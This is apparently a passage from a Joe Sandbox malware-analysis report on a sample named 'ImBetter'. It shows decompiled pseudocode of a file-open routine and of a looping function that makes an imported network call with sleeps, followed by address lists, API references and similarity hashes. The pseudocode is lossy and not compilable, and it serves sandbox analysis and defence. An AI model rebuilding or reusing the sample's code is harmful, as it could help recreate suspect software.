				 *((long long*)(_t238 + 0x10)) = __rsi;
				 *((long long*)(_t238 + 0x20)) = __rdi;
				 *((long long*)(_t238 + 0x18)) = __r8;
				_t313 = _t238 - 0x47;
				_t316 = _t315 - 0xc0;
				r12d = r9d;
				_t261 = __r8;
				r9d =  *(_t313 + 0x77);
				_t307 = __rdx;
				r8d =  *(_t313 + 0x6f);
				_t310 = __rcx;
				E00007FF77FF7E6B4A5E4(r12d, __eflags, _t238, __r8, _t313 - 1, _t313);
				asm("movups xmm0, [eax]");
				asm("movsd xmm1, [eax+0x10]");
				asm("movups [ebp-0x59], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("movsd [ebp-0x39], xmm1");
				asm("movsd [ebp-0x49], xmm1");
				 *(_t313 - 0x29) = _t334 >> 0x20;
				if (r15d != 0xffffffff) goto 0xe6b4aa91;
				E00007FF77FF7E6B29CC4(_t238);
				 *_t238 = 0;
				 *__rdx =  *__rdx | 0xffffffff;
				E00007FF77FF7E6B29CE4(_t238);
				goto 0xe6b4add3;
				_t151 = E00007FF77FF7E6B37A3C(r12d, _t238, __r8, _t313 - 1, __rdx, __rdx, _t310);
				 *__rdx = _t151;
				if (_t151 != 0xffffffff) goto 0xe6b4aab6;
				E00007FF77FF7E6B29CC4(_t238);
				 *_t238 = 0;
				 *__rdx =  *__rdx | 0xffffffff;
				E00007FF77FF7E6B29CE4(_t238);
				 *_t238 = 0x18;
				goto 0xe6b4aa85;
				r8d = r15d;
				r14d = r14d |  *(_t313 - 0x49);
				 *_t310 = 1;
				 *((long long*)(_t316 + 0x30)) = _t310;
				 *(_t316 + 0x28) = r14d;
				 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t313 - 0x51));
				 *((intOrPtr*)(_t313 - 0x21)) = 0x18;
				 *((long long*)(_t313 - 0x19)) = _t310;
				 *(_t313 - 0x11) =  !(r12d >> 7) & 0x00000001;
				 *(_t313 - 0x31) =  *(_t313 - 0x49) >> 0x20;
				CreateFileW(??, ??, ??, ??, ??, ??, ??); // executed
				_t187 =  *(_t313 - 0x55);
				if (_t238 != 0xffffffff) goto 0xe6b4ab9c;
				if ((_t187 & 0xc0000000) != 0xc0000000) goto 0xe6b4ab69;
				if ((r12b & 0x00000001) == 0) goto 0xe6b4ab69;
				 *((long long*)(_t316 + 0x30)) = _t310;
				asm("btr ebx, 0x1f");
				 *(_t313 - 0x55) = _t187;
				r8d = r15d;
				 *(_t316 + 0x28) = r14d;
				 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t313 - 0x51));
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				if (_t238 != 0xffffffff) goto 0xe6b4ab9c;
				_t267 =  *__rdx;
				_t241 =  *((intOrPtr*)(0xe6b6cdb0 + (_t267 >> 6) * 8));
				 *(_t241 + 0x38 + (_t267 + _t267 * 8) * 8) =  *(_t241 + 0x38 + (_t267 + _t267 * 8) * 8) & 0x000000fe;
				E00007FF77FF7E6B29C58(GetLastError(), _t241, _t267 + _t267 * 8);
				goto 0xe6b4aa85;
				_t164 = GetFileType(_t334); // executed
				if (_t164 != 0) goto 0xe6b4abfa;
				_t188 = GetLastError();
				E00007FF77FF7E6B29C58(_t165, _t241, _t238);
				 *( *((intOrPtr*)(0xe6b6cdb0 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) =  *( *((intOrPtr*)(0xe6b6cdb0 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) & 0x000000fe;
				CloseHandle(_t330);
				if (_t188 != 0) goto 0xe6b4aa85;
				_t168 = E00007FF77FF7E6B29CE4(_t241);
				 *_t241 = 0xd;
				goto 0xe6b4aa85;
				r14b =  *(_t313 - 0x59);
				if (_t168 != 2) goto 0xe6b4ac09;
				r14b = r14b | 0x00000040;
				goto 0xe6b4ac12;
				if (_t168 != 3) goto 0xe6b4ac12;
				r14b = r14b | 0x00000008;
				E00007FF77FF7E6B37954(_t168, _t188,  *__rdx, _t261, _t238, __rdx, _t310, _t313, _t326, _t324);
				r14b = r14b | 0x00000001;
				 *(_t313 - 0x41) = r14b;
				 *(_t313 - 0x59) = r14b;
				 *( *((intOrPtr*)(0xe6b6cdb0 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) = r14b;
				 *((intOrPtr*)( *((intOrPtr*)(0xe6b6cdb0 + ( *__rdx >> 6) * 8)) + 0x39 + ( *__rdx +  *__rdx * 8) * 8)) = sil;
				if ((r12b & 0x00000002) == 0) goto 0xe6b4ac86;
				_t170 = E00007FF77FF7E6B4A7F0(_t188,  *__rdx, r12d & 0x0000003f, _t213, 0, _t261, _t310, _t318);
				r14d = _t170;
				if (_t170 == 0) goto 0xe6b4ac86;
				E00007FF77FF7E6B2E818( *((intOrPtr*)(0xe6b6cdb0 + ( *__rdx >> 6) * 8)), _t261, _t307);
				goto 0xe6b4add3;
				asm("movups xmm0, [ebp-0x59]");
				asm("movsd xmm1, [ebp-0x39]");
				r8d = r12d;
				asm("movaps [ebp-0x1], xmm0");
				 *((intOrPtr*)(_t313 - 0x61)) = sil;
				asm("movsd [ebp+0xf], xmm1");
				r14d = E00007FF77FF7E6B4A36C( *_t307, _t217, _t261, _t313 - 1, _t310, _t313, _t318, _t313 - 0x61);
				if (r14d == 0) goto 0xe6b4acbd;
				goto 0xe6b4ac79;
				 *((char*)( *((intOrPtr*)(0xe6b6cdb0 + ( *_t307 >> 6) * 8)) + 0x39 + ( *_t307 +  *_t307 * 8) * 8)) =  *((intOrPtr*)(_t313 - 0x61));
				_t281 =  *_t307;
				_t302 = _t281 + _t281 * 8;
				_t282 =  *((intOrPtr*)(0xe6b6cdb0 + (_t281 >> 6) * 8));
				 *(_t282 + 0x3d + _t302 * 8) =  *(_t282 + 0x3d + _t302 * 8) & 0x000000fe;
				 *(_t282 + 0x3d + _t302 * 8) =  *(_t282 + 0x3d + _t302 * 8) | r12d >> 0x00000010 & 0x00000001;
				if (( *(_t313 - 0x41) & 0x00000048) != 0) goto 0xe6b4ad22;
				if ((r12b & 0x00000008) == 0) goto 0xe6b4ad22;
				_t283 =  *_t307;
				_t253 =  *((intOrPtr*)(0xe6b6cdb0 + (_t283 >> 6) * 8));
				 *(_t253 + 0x38 + (_t283 + _t283 * 8) * 8) =  *(_t253 + 0x38 + (_t283 + _t283 * 8) * 8) | 0x00000020;
				if ((_t188 & 0xc0000000) != 0xc0000000) goto 0xe6b4add1;
				if ((r12b & 0x00000001) == 0) goto 0xe6b4add1;
				CloseHandle(_t312);
				r8d =  *(_t313 - 0x29);
				asm("btr ebx, 0x1f");
				 *((long long*)(_t316 + 0x30)) = _t310;
				 *(_t316 + 0x28) = 0xc0000000;
				 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t313 - 0x51));
				 *(_t313 - 0x55) = _t188;
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				if (_t253 != 0xffffffff) goto 0xe6b4adb7;
				_t184 = E00007FF77FF7E6B29C58(GetLastError(), _t253,  *((intOrPtr*)(_t313 + 0x5f)));
				 *( *((intOrPtr*)(0xe6b6cdb0 + ( *_t307 >> 6) * 8)) + 0x38 + ( *_t307 +  *_t307 * 8) * 8) =  *( *((intOrPtr*)(0xe6b6cdb0 + ( *_t307 >> 6) * 8)) + 0x38 + ( *_t307 +  *_t307 * 8) * 8) & 0x000000fe;
				E00007FF77FF7E6B37B7C(_t184, _t188,  *_t307, _t261, _t307, _t310);
				goto 0xe6b4aa85;
				 *((long long*)( *((intOrPtr*)(0xe6b6cdb0 + ( *_t307 >> 6) * 8)) + 0x28 + ( *_t307 +  *_t307 * 8) * 8)) = _t253;
				return 0;
			}

0x7ff7e6b4aa04
0x7ff7e6b4aa04
0x7ff7e6b4aa04
0x7ff7e6b4aa04
0x7ff7e6b4aa07
0x7ff7e6b4aa0b
0x7ff7e6b4aa0f
0x7ff7e6b4aa13
0x7ff7e6b4aa20
0x7ff7e6b4aa24
0x7ff7e6b4aa2b
0x7ff7e6b4aa2e
0x7ff7e6b4aa31
0x7ff7e6b4aa35
0x7ff7e6b4aa38
0x7ff7e6b4aa3c
0x7ff7e6b4aa46
0x7ff7e6b4aa4b
0x7ff7e6b4aa4e
0x7ff7e6b4aa53
0x7ff7e6b4aa57
0x7ff7e6b4aa5c
0x7ff7e6b4aa61
0x7ff7e6b4aa6a
0x7ff7e6b4aa6f
0x7ff7e6b4aa77
0x7ff7e6b4aa79
0x7ff7e6b4aa80
0x7ff7e6b4aa82
0x7ff7e6b4aa85
0x7ff7e6b4aa8c
0x7ff7e6b4aa91
0x7ff7e6b4aa96
0x7ff7e6b4aa9b
0x7ff7e6b4aa9d
0x7ff7e6b4aaa4
0x7ff7e6b4aaa6
0x7ff7e6b4aaa9
0x7ff7e6b4aaae
0x7ff7e6b4aab4
0x7ff7e6b4aac8
0x7ff7e6b4aad4
0x7ff7e6b4aadb
0x7ff7e6b4aae3
0x7ff7e6b4aae8
0x7ff7e6b4aaed
0x7ff7e6b4aaf8
0x7ff7e6b4aaff
0x7ff7e6b4ab03
0x7ff7e6b4ab06
0x7ff7e6b4ab0a
0x7ff7e6b4ab10
0x7ff7e6b4ab1f
0x7ff7e6b4ab27
0x7ff7e6b4ab2d
0x7ff7e6b4ab36
0x7ff7e6b4ab3b
0x7ff7e6b4ab3f
0x7ff7e6b4ab42
0x7ff7e6b4ab49
0x7ff7e6b4ab4e
0x7ff7e6b4ab5a
0x7ff7e6b4ab67
0x7ff7e6b4ab69
0x7ff7e6b4ab81
0x7ff7e6b4ab85
0x7ff7e6b4ab92
0x7ff7e6b4ab97
0x7ff7e6b4ab9f
0x7ff7e6b4aba7
0x7ff7e6b4abb1
0x7ff7e6b4abb3
0x7ff7e6b4abd4
0x7ff7e6b4abdc
0x7ff7e6b4abe4
0x7ff7e6b4abea
0x7ff7e6b4abef
0x7ff7e6b4abf5
0x7ff7e6b4abfa
0x7ff7e6b4ac01
0x7ff7e6b4ac03
0x7ff7e6b4ac07
0x7ff7e6b4ac0c
0x7ff7e6b4ac0e
0x7ff7e6b4ac17
0x7ff7e6b4ac29
0x7ff7e6b4ac34
0x7ff7e6b4ac38
0x7ff7e6b4ac44
0x7ff7e6b4ac5e
0x7ff7e6b4ac67
0x7ff7e6b4ac6b
0x7ff7e6b4ac70
0x7ff7e6b4ac75
0x7ff7e6b4ac79
0x7ff7e6b4ac81
0x7ff7e6b4ac86
0x7ff7e6b4ac90
0x7ff7e6b4ac99
0x7ff7e6b4ac9c
0x7ff7e6b4aca0
0x7ff7e6b4aca4
0x7ff7e6b4acae
0x7ff7e6b4acb7
0x7ff7e6b4acbb
0x7ff7e6b4acd2
0x7ff7e6b4acd6
0x7ff7e6b4ace3
0x7ff7e6b4ace7
0x7ff7e6b4acf3
0x7ff7e6b4acf8
0x7ff7e6b4ad00
0x7ff7e6b4ad06
0x7ff7e6b4ad08
0x7ff7e6b4ad19
0x7ff7e6b4ad1d
0x7ff7e6b4ad2d
0x7ff7e6b4ad37
0x7ff7e6b4ad40
0x7ff7e6b4ad4e
0x7ff7e6b4ad52
0x7ff7e6b4ad56
0x7ff7e6b4ad5b
0x7ff7e6b4ad62
0x7ff7e6b4ad6a
0x7ff7e6b4ad75
0x7ff7e6b4ad82
0x7ff7e6b4ad8c
0x7ff7e6b4ada6
0x7ff7e6b4adad
0x7ff7e6b4adb2
0x7ff7e6b4adcc
0x7ff7e6b4adf3

APIs

Part of subcall function 00007FF7E6B4A5E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B4A625
Part of subcall function 00007FF7E6B4A5E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B4A6A5
Part of subcall function 00007FF7E6B4A5E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B4A6F9
Part of subcall function 00007FF7E6B4A5E4: _get_daylight.LIBCMT ref: 00007FF7E6B4A751

CreateFileW.KERNELBASE ref: 00007FF7E6B4AB0A
CreateFileW.KERNEL32 ref: 00007FF7E6B4AB5A
GetLastError.KERNEL32 ref: 00007FF7E6B4AB8A
GetFileType.KERNELBASE ref: 00007FF7E6B4AB9F
GetLastError.KERNEL32 ref: 00007FF7E6B4ABA9
CloseHandle.KERNEL32 ref: 00007FF7E6B4ABDC
CloseHandle.KERNEL32 ref: 00007FF7E6B4AD40
CreateFileW.KERNEL32 ref: 00007FF7E6B4AD75
GetLastError.KERNEL32 ref: 00007FF7E6B4AD84

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: 3da96c678a1297e50e893ebf85ea5570ac7ce760b4085e74e685c8f1b33556cc
Instruction ID: b9dad6766f2c6d9cc0327960f61a72c43c1fcd0d75b97d6fd86bdcb3131de013
Opcode Fuzzy Hash: 3da96c678a1297e50e893ebf85ea5570ac7ce760b4085e74e685c8f1b33556cc
Instruction Fuzzy Hash: FFC1F332B28A5286EB10EF65C8803AE77A1FB48B98B615236DF1E573D8DF38D051C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0C080 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00007FF77FF7E6B0C080(void* __ebx, long long __rcx, long long __rdx, long long __r8, long long __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int _t149;
				signed int _t161;
				void* _t165;
				void* _t176;
				signed char _t179;
				signed char _t181;
				signed char _t185;
				void* _t187;
				signed char _t188;
				signed long long _t230;
				intOrPtr _t237;
				long long _t239;
				void* _t245;
				long long _t253;
				intOrPtr _t271;
				intOrPtr _t287;
				intOrPtr _t305;
				void* _t309;
				signed long long _t315;
				long long _t318;
				intOrPtr* _t319;
				void* _t322;
				intOrPtr _t323;
				intOrPtr _t326;
				intOrPtr _t332;
				intOrPtr _t335;
				intOrPtr _t338;
				intOrPtr _t341;
				char* _t344;
				void* _t345;
				intOrPtr _t346;
				void* _t347;
				void* _t348;
				signed long long _t349;
				intOrPtr* _t360;
				char* _t361;
				intOrPtr* _t362;
				char* _t364;
				char* _t365;
				long long _t367;
				long long _t368;
				char* _t370;
				char* _t371;

				_t358 = __r9;
				_t351 = __r8;
				_t347 = _t348 - 0x118;
				_t349 = _t348 - 0x218;
				_t230 =  *0xe6b6bbc0; // 0x7a937e77a598
				 *(_t347 + 0x108) = _t230 ^ _t349;
				_t370 = __r9;
				_t371 = __r8;
				_t344 = __rdx;
				_t253 = __rcx;
				 *((long long*)(_t349 + 0x40)) = __rcx;
				 *((long long*)(_t349 + 0x50)) = __rdx;
				 *((long long*)(_t349 + 0x58)) = __r8;
				 *((long long*)(_t349 + 0x60)) = __r9;
				r12d = 0;
				_t187 = r12d;
				if ( *((intOrPtr*)(__rdx + 0x10)) - _t345 <= 0) goto 0xe6b0c536;
				E00007FF77FF7E6B10DF0(__rcx, _t349 + 0x20, __r9, __rdx, _t347, __r8);
				E00007FF77FF7E6B1BFD0(_t165, _t253, _t349 + 0x68, _t230 ^ _t349, _t351);
				_t305 =  *((intOrPtr*)(_t349 + 0x38));
				if (_t305 - 0x10 < 0) goto 0xe6b0c136;
				if (_t305 + 1 - 0x1000 < 0) goto 0xe6b0c131;
				if ( *((intOrPtr*)(_t349 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x20)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0c64c;
				E00007FF77FF7E6B3CAF0(_t176,  *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x20)) - 8)));
				 *((long long*)(_t349 + 0x30)) = _t367;
				 *((long long*)(_t349 + 0x38)) = 0xf;
				 *((char*)(_t349 + 0x20)) = 0;
				_t309 =  >=  ?  *((void*)(_t349 + 0x68)) : _t349 + 0x68;
				r9d = 0;
				r8d =  *(_t349 + 0x78);
				__imp__#19();
				0xe6b09f60();
				0xe6b0a220();
				Sleep(??);
				r8d = 0x118;
				E00007FF77FF7E6B3EA30();
				E00007FF77FF7E6B0DA20(_t253, _t347 - 0x50, _t345);
				if ( *((long long*)(_t344 + 0x18)) - 0x10 < 0) goto 0xe6b0c1bb;
				E00007FF77FF7E6B0FA30(_t253, _t347 - 0x50,  *_t344, _t345, _t351, _t358);
				if ( *((long long*)(_t347 + 0x48)) == 0) goto 0xe6b0c49b;
				if ( *((long long*)(_t344 + 0x18)) - 0x10 < 0) goto 0xe6b0c1e0;
				 *((long long*)(_t347 + 0xd0)) =  *_t344;
				 *((long long*)(_t347 + 0xd8)) =  *((intOrPtr*)(_t344 + 0x10));
				asm("movaps xmm0, [ebp+0xd0]");
				asm("movdqa [ebp+0xd0], xmm0");
				E00007FF77FF7E6B03900(__ebx, _t187,  *_t344, _t253, _t349 + 0x20, _t347 + 0xd0, _t347);
				_t270 =  >=  ?  *((void*)(_t349 + 0x20)) : _t349 + 0x20;
				r9d = 0xffffffff;
				r8d = 9;
				if (E00007FF77FF7E6B435A8(0x190,  *((long long*)(_t349 + 0x38)) - 8, _t253,  >=  ?  *((void*)(_t349 + 0x20)) : _t349 + 0x20, _t347 - 0x78, _t345, _t358) != 0) goto 0xe6b0c664;
				_t346 =  *((intOrPtr*)(_t347 - 0x70));
				_t188 = _t187 + 1;
				_t315 =  *((intOrPtr*)(_t349 + 0x38));
				if (_t315 - 8 < 0) goto 0xe6b0c285;
				_t271 =  *((intOrPtr*)(_t349 + 0x20));
				_t237 = _t271;
				if (2 + _t315 * 2 - 0x1000 < 0) goto 0xe6b0c280;
				_t239 = _t237 -  *((intOrPtr*)(_t271 - 8)) + 0xfffffff8;
				if (_t239 - 0x1f > 0) goto 0xe6b0c652;
				E00007FF77FF7E6B3CAF0(0,  *((intOrPtr*)(_t271 - 8)));
				E00007FF77FF7E6B3CAF8(0, _t188); // executed
				_t368 = _t239;
				_t318 = _t239;
				E00007FF77FF7E6B0DC40(_t188, _t347 - 0x50, _t318, _t346, _t188); // executed
				if (_t188 >= 0) goto 0xe6b0c2f3;
				r8d =  ~_t188;
				_t360 = _t347 + 0xe5 - 1;
				_t179 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t239 + _t318 + _t239 + _t318;
				r8b = r8b + 0x30;
				 *_t360 = r8b;
				r8d = _t179;
				if (_t179 != 0) goto 0xe6b0c2c0;
				_t361 = _t360 - 1;
				 *_t361 = 0x2d;
				goto 0xe6b0c32e;
				r8d = _t188;
				asm("o16 nop [eax+eax]");
				_t362 = _t361 - 1;
				_t181 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t239 + _t318 + _t239 + _t318;
				r8b = r8b + 0x30;
				 *_t362 = r8b;
				r8d = _t181;
				if (_t181 != 0) goto 0xe6b0c300;
				_t161 =  ~_t188;
				_t319 = _t362;
				E00007FF77FF7E6B03630((_t181 & 0x000000ff) << 2, _t347 - 0x78, _t319, _t347 + 0xe5);
				if (_t188 >= 0) goto 0xe6b0c37f;
				_t364 = _t347 + 0x105 - 1;
				 *_t364 = _t161 - _t239 + _t319 + _t239 + _t319 + 0x30;
				if (0xcccccccd * _t161 >> 0x20 >> 3 != 0) goto 0xe6b0c350;
				_t365 = _t364 - 1;
				 *_t365 = 0x2d;
				goto 0xe6b0c3ac;
				r8d = _t188;
				_t185 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t239 + _t319 + _t239 + _t319;
				r8b = r8b + 0x30;
				 *((intOrPtr*)(_t365 - 1)) = r8b;
				r8d = _t185;
				if (_t185 != 0) goto 0xe6b0c382;
				E00007FF77FF7E6B03630((_t185 & 0x000000ff) << 2, _t349 + 0x20, _t365 - 1, _t347 + 0x105);
				_t322 =  >=  ?  *((void*)(_t349 + 0x20)) : _t349 + 0x20;
				r9d = 0;
				r8d =  *(_t347 - 0x68);
				__imp__#19();
				_t323 =  *((intOrPtr*)(_t349 + 0x38));
				if (_t323 - 0x10 < 0) goto 0xe6b0c423;
				if (_t323 + 1 - 0x1000 < 0) goto 0xe6b0c41e;
				if ( *((intOrPtr*)(_t349 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x20)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0c658;
				E00007FF77FF7E6B3CAF0(_t185,  *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x20)) - 8)));
				 *((long long*)(_t349 + 0x30)) = 0;
				 *((long long*)(_t349 + 0x38)) = 0xf;
				 *((char*)(_t349 + 0x20)) = 0;
				_t326 =  *((intOrPtr*)(_t347 - 0x60));
				if (_t326 - 0x10 < 0) goto 0xe6b0c475;
				if (_t326 + 1 - 0x1000 < 0) goto 0xe6b0c470;
				_t245 =  *((intOrPtr*)(_t347 - 0x78)) -  *((intOrPtr*)( *((intOrPtr*)(_t347 - 0x78)) - 8)) + 0xfffffff8;
				if (_t245 - 0x1f > 0) goto 0xe6b0c65e;
				E00007FF77FF7E6B3CAF0(_t185,  *((intOrPtr*)( *((intOrPtr*)(_t347 - 0x78)) - 8)));
				r9d = 0;
				r8d = _t188;
				__imp__#19();
				E00007FF77FF7E6B3CAF0(_t185, _t368); // executed
				r12d = 0;
				goto 0xe6b0c4a2;
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B0F930(_t239 + _t319 + _t239 + _t319, _t185,  *((intOrPtr*)(_t349 + 0x40)), _t347 - 0x38, _t347); // executed
				if (_t245 != 0) goto 0xe6b0c4f0;
				_t287 =  *((intOrPtr*)( *((intOrPtr*)(_t347 - 0x50)) + 4));
				_t146 =  !=  ? 2 : 6;
				_t147 = ( !=  ? 2 : 6) |  *(_t347 + _t287 - 0x40);
				_t148 = (( !=  ? 2 : 6) |  *(_t347 + _t287 - 0x40)) & 0x00000017;
				 *(_t347 + _t287 - 0x40) = 6;
				_t149 = (( !=  ? 2 : 6) |  *(_t347 + _t287 - 0x40)) & 0x00000017 &  *(_t347 + _t287 - 0x3c);
				if ( *((long long*)(_t347 + _t287 - 8)) != 0) goto 0xe6b0c678;
				0xe6b0c6e0();
				_t332 =  *((intOrPtr*)(_t347 - 0x80));
				if (_t332 - 0x10 < 0) goto 0xe6b0c536;
				if (_t332 + 1 - 0x1000 < 0) goto 0xe6b0c531;
				if ( *((intOrPtr*)(_t349 + 0x68)) -  *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x68)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0c6c8;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x68)) - 8)));
				SleepEx(??, ??); // executed
				_t335 =  *((intOrPtr*)(_t344 + 0x18));
				if (_t335 - 0x10 < 0) goto 0xe6b0c57c;
				if (_t335 + 1 - 0x1000 < 0) goto 0xe6b0c577;
				if ( *_t344 -  *((intOrPtr*)( *_t344 - 8)) - 8 - 0x1f > 0) goto 0xe6b0c6ce;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *_t344 - 8)));
				 *((long long*)(_t344 + 0x10)) = _t368;
				 *((long long*)(_t344 + 0x18)) = 0xf;
				 *_t344 = 0;
				_t338 =  *((intOrPtr*)(_t371 + 0x18));
				if (_t338 - 0x10 < 0) goto 0xe6b0c5c5;
				if (_t338 + 1 - 0x1000 < 0) goto 0xe6b0c5c0;
				if ( *_t371 -  *((intOrPtr*)( *_t371 - 8)) - 8 - 0x1f > 0) goto 0xe6b0c640;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *_t371 - 8)));
				 *((long long*)(_t371 + 0x10)) = _t368;
				 *((long long*)(_t371 + 0x18)) = 0xf;
				 *_t371 = 0;
				_t341 =  *((intOrPtr*)(_t370 + 0x18));
				if (_t341 - 0x10 < 0) goto 0xe6b0c60b;
				if (_t341 + 1 - 0x1000 < 0) goto 0xe6b0c606;
				if ( *_t370 -  *((intOrPtr*)( *_t370 - 8)) - 8 - 0x1f > 0) goto 0xe6b0c646;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *_t370 - 8)));
				 *((long long*)(_t370 + 0x10)) = _t368;
				 *((long long*)(_t370 + 0x18)) = 0xf;
				 *_t370 = 0;
				return E00007FF77FF7E6B3C7F0(_t188, 0x64,  *(_t347 + 0x108) ^ _t349);
			}

0x7ff7e6b0c080
0x7ff7e6b0c080
0x7ff7e6b0c08d
0x7ff7e6b0c095
0x7ff7e6b0c09c
0x7ff7e6b0c0a6
0x7ff7e6b0c0ad
0x7ff7e6b0c0b0
0x7ff7e6b0c0b3
0x7ff7e6b0c0b6
0x7ff7e6b0c0b9
0x7ff7e6b0c0be
0x7ff7e6b0c0c3
0x7ff7e6b0c0c8
0x7ff7e6b0c0cd
0x7ff7e6b0c0d0
0x7ff7e6b0c0d7
0x7ff7e6b0c0e5
0x7ff7e6b0c0f3
0x7ff7e6b0c0f9
0x7ff7e6b0c102
0x7ff7e6b0c116
0x7ff7e6b0c12b
0x7ff7e6b0c131
0x7ff7e6b0c136
0x7ff7e6b0c13b
0x7ff7e6b0c144
0x7ff7e6b0c153
0x7ff7e6b0c159
0x7ff7e6b0c15c
0x7ff7e6b0c164
0x7ff7e6b0c17b
0x7ff7e6b0c183
0x7ff7e6b0c18d
0x7ff7e6b0c195
0x7ff7e6b0c19f
0x7ff7e6b0c1a8
0x7ff7e6b0c1b6
0x7ff7e6b0c1bf
0x7ff7e6b0c1c9
0x7ff7e6b0c1db
0x7ff7e6b0c1e0
0x7ff7e6b0c1e7
0x7ff7e6b0c1ee
0x7ff7e6b0c1f5
0x7ff7e6b0c209
0x7ff7e6b0c21a
0x7ff7e6b0c220
0x7ff7e6b0c226
0x7ff7e6b0c237
0x7ff7e6b0c23d
0x7ff7e6b0c241
0x7ff7e6b0c243
0x7ff7e6b0c24c
0x7ff7e6b0c256
0x7ff7e6b0c25b
0x7ff7e6b0c265
0x7ff7e6b0c272
0x7ff7e6b0c27a
0x7ff7e6b0c280
0x7ff7e6b0c28b
0x7ff7e6b0c290
0x7ff7e6b0c296
0x7ff7e6b0c29d
0x7ff7e6b0c2ab
0x7ff7e6b0c2b1
0x7ff7e6b0c2c0
0x7ff7e6b0c2cb
0x7ff7e6b0c2d9
0x7ff7e6b0c2dc
0x7ff7e6b0c2e0
0x7ff7e6b0c2e3
0x7ff7e6b0c2e8
0x7ff7e6b0c2ea
0x7ff7e6b0c2ed
0x7ff7e6b0c2f1
0x7ff7e6b0c2f3
0x7ff7e6b0c2f6
0x7ff7e6b0c300
0x7ff7e6b0c30b
0x7ff7e6b0c319
0x7ff7e6b0c31c
0x7ff7e6b0c320
0x7ff7e6b0c323
0x7ff7e6b0c328
0x7ff7e6b0c32c
0x7ff7e6b0c335
0x7ff7e6b0c33c
0x7ff7e6b0c34b
0x7ff7e6b0c350
0x7ff7e6b0c36d
0x7ff7e6b0c374
0x7ff7e6b0c376
0x7ff7e6b0c379
0x7ff7e6b0c37d
0x7ff7e6b0c37f
0x7ff7e6b0c38d
0x7ff7e6b0c39b
0x7ff7e6b0c39e
0x7ff7e6b0c3a2
0x7ff7e6b0c3a5
0x7ff7e6b0c3aa
0x7ff7e6b0c3bb
0x7ff7e6b0c3cb
0x7ff7e6b0c3d1
0x7ff7e6b0c3d4
0x7ff7e6b0c3e0
0x7ff7e6b0c3e6
0x7ff7e6b0c3ef
0x7ff7e6b0c403
0x7ff7e6b0c418
0x7ff7e6b0c41e
0x7ff7e6b0c423
0x7ff7e6b0c42c
0x7ff7e6b0c435
0x7ff7e6b0c43a
0x7ff7e6b0c442
0x7ff7e6b0c455
0x7ff7e6b0c462
0x7ff7e6b0c46a
0x7ff7e6b0c470
0x7ff7e6b0c475
0x7ff7e6b0c478
0x7ff7e6b0c481
0x7ff7e6b0c48a
0x7ff7e6b0c496
0x7ff7e6b0c499
0x7ff7e6b0c4a5
0x7ff7e6b0c4ad
0x7ff7e6b0c4b6
0x7ff7e6b0c4be
0x7ff7e6b0c4c4
0x7ff7e6b0c4d8
0x7ff7e6b0c4db
0x7ff7e6b0c4df
0x7ff7e6b0c4e2
0x7ff7e6b0c4e6
0x7ff7e6b0c4ea
0x7ff7e6b0c4f4
0x7ff7e6b0c4fa
0x7ff7e6b0c502
0x7ff7e6b0c516
0x7ff7e6b0c52b
0x7ff7e6b0c531
0x7ff7e6b0c53b
0x7ff7e6b0c542
0x7ff7e6b0c54a
0x7ff7e6b0c559
0x7ff7e6b0c56e
0x7ff7e6b0c577
0x7ff7e6b0c57c
0x7ff7e6b0c580
0x7ff7e6b0c588
0x7ff7e6b0c58b
0x7ff7e6b0c593
0x7ff7e6b0c5a2
0x7ff7e6b0c5b7
0x7ff7e6b0c5c0
0x7ff7e6b0c5c5
0x7ff7e6b0c5c9
0x7ff7e6b0c5d1
0x7ff7e6b0c5d5
0x7ff7e6b0c5dd
0x7ff7e6b0c5ec
0x7ff7e6b0c601
0x7ff7e6b0c606
0x7ff7e6b0c60b
